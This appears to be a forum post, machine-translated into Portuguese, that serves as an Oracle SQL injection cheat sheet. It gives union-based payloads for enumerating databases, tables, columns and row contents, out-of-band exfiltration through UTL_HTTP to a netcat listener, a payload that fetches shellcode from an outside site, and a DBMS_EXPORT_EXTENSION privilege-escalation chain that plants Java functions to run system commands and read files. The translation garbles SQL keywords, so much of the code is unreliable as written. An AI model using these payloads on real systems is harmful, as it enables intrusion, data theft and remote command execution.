Este post foi editado pela última vez por test em 24-1-2015 às 13:01
Comentário: -- Execução múltipla de frases não é suportada, e consultas federadas são suportadas Nomes de bancos de dados, nomes de tabelas e nomes de colunas são todos escritos com maiúscula.
comprimento(campo) ASCII(substr(campo, N, 1))
e (selecionar count(*) a partir de dual)>0 -- Determinar se é oráculo ou não
Ordem por N--
e união 1=2 selecionar nulo, nulo,.....,nulo do dual-- substituir nulo por N ou 'N'
e 1=2 union select null, (instrução sql) ,.....,null de dual -- mudar para (instrução sql) em 'N'
e (selecione count(*) de all_objects onde object_name='UTL_HTTP')>0 -- Determine se o UTL_HTTP é suportado (o IP de exportação é conhecido)
e UTL_HTTP.request('http://LocalIP:port'|| (Declaração SQL)) =1-- Enviar mensagens remotamente para ouvir local, local nc -vv -l -p 1234
Instruções SQL Selecione o banner de sys.v_$versão, onde rownum=1, para consultar a versão do oráculo select member from v$logfile onde rownum=1 Consultar o caminho do arquivo de log (Windows ou Linux) selecione utl_inaddr.get_host_address de dual para consultar o IP de ouvinte do banco de dados Selecione instance_name de v$instance para consultar o sid selecione nome de v$database Consultar o nome atual do banco de dados selecione sys_context ('userenv','current_user') entre usuários de banco de dados de consulta dual selecione * de session_roles onde rownum=1 para consultar as permissões atuais do usuário selecione * de session_roles onde rownum=1 [e função<>'nome da primeira permissão']
selecione table_name de user_tables onde rownum=1 O primeiro segmento da tabela do banco de dados atual selecione table_name||','|| tablespace_name de user_tables onde rownum=1 Primeiro segmento de tabela, banco de dados (para verificação, pode não ser v$database) selecione table_name de user_tables onde rownum=1 e table_name<>'primeiro segmento de tabela' O segundo segmento de tabela do banco de dados atual
selecione column_name de user_tab_columns onde rownum=1 e table_name='Segmento da Tabela' O primeiro campo correspondente ao nome da tabela selecione column_name de user_tab_columns onde rownum=1 e table_name='Segmento da tabela' e column_name<>'Primeiro campo' O segundo campo correspondente ao nome da tabela
campo select do segmento da tabela onde rownum=1 viola o conteúdo da primeira linha Selecione o campo do segmento da tabela onde rownum=1 e o campo <> 'conteúdo da primeira linha' expõe o conteúdo da segunda linha
Biblioteca cruzada selecione o proprietário de all_tables onde rownum=1 consulta o primeiro nome do banco de dados selecione proprietário de all_tables onde rownum=1 e proprietário<> 'Primeiro nome do banco de dados' para consultar o segundo nome do banco de dados
selecione table_name de all_tables onde rownum=1 e proprietário='nome do banco de dados' Consultar o nome da primeira tabela do banco de dados correspondente Selecione table_name de all_tables onde rownum=1, proprietário='nome do banco de dados' e table_name<>'nome da primeira tabela' para consultar o segundo nome da tabela correspondente
selecione column_name de all_tab_columns onde rownum=1 e proprietário='nome do banco de dados' e table_name='segmento da tabela' O primeiro campo correspondente ao nome da tabela selecione column_name de all_tab_columns onde rownum=1 e proprietário='nome do banco de dados' e table_name='segmento da tabela' e column_name<>'primeiro campo' O segundo campo correspondente ao nome da tabela
Selecione campo do banco de dados. segmento da tabela onde rownum=1 viola o conteúdo da primeira linha Selecione campo do banco de dados. O segmento da tabela onde rownum=1 e campo <> 'Conteúdo da Primeira Linha' viola o conteúdo da segunda linha
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); multi-sentenças END; --','SYS',0,'1',0)--
Se 'for escapado, chr() é usado.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-sentenças || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Se várias frases estiverem muito longas, você pode escrever a declaração no arquivo do site e usar utl_http.request para recuperá-la.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Crie um pacote JAVA SecTest runCMD é usado para executar comandos do sistema e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA''', criar ou substituir e compilar o código-fonte Java chamado "SecTest" como importação java.io.*; a classe pública SecTest estende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Retorno de força; }catch(Exceção e){return e.toString(); }}}''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
readFile é usado para ler o arquivo e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA''', criar ou substituir e compilar o código-fonte Java chamado "SecTest" como importação java.io.*; a classe pública SecTest estende o Object{publico static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Retorno de força; }catch(Exceção e){return e.toString(); }}}''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
Conceder permissões Java e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''iniciar dbms_java.conceder_permissão(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TODOS OS ARQUIVOS>>'''''''',''''''''executar''''''''); fim; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
Criar uma função Função SecRunCMD e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''criar ou substituir função SecRunCMD(p_cmd em varchar2) retornar varchar2 como linguagem nome java''''''''SecTest.runCMD(java.lang.String) retorne String'''''''' ; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
Função SecReadFile e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATO '''' criar ou substituir função SecReadFile(nome do arquivo em varchar2) retorne varchar2 como linguagem nome java''''''''SecTest.readFile(java.lang.String) retorne String' '''''''; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
Conceder permissão para executar a função pública O SecRunCMD recebe permissões e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA '''conceder tudo no SecRunCMD ao público'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
SecReadFile e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''conceder tudo no SecReadFile ao público'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
Detecta se a função foi criada com sucesso e (selecione count(*) de all_objects onde object_name='SECRUNCMD')>0-- e (selecione count(*) de all_objects onde object_name='SECREADFILE')>0--
Execute o comando e '1' <> (selecione sys. SecRunCMD('Execute command') de dual)-- e '1' <> (selecione sys. SecReadFile ('endereço físico do arquivo') de dual)-- ou e união 1=2 selecionar null,...,sys. SecRunCMD('execute command'),...,null from dual-- e união 1=2 selecionar null,...,sys. SecReadFile('endereço físico do arquivo'),...,nulo de dual-- ou e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SUBSTITUIR(SUBSTITUIR(SYS. SecRunCMD('Executar Comando'),' ',' '),'\n',' ')) de dual)-- e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SUBSTITUIR(SUBSTITUIR(SYS. SecReadFile('Endereço Físico do Arquivo'),' ',' '\n',' ')) de dual)--
Função de exclusão e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''função drop SecRunCMD''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)-- e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''função drop SecReadFile'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)-- |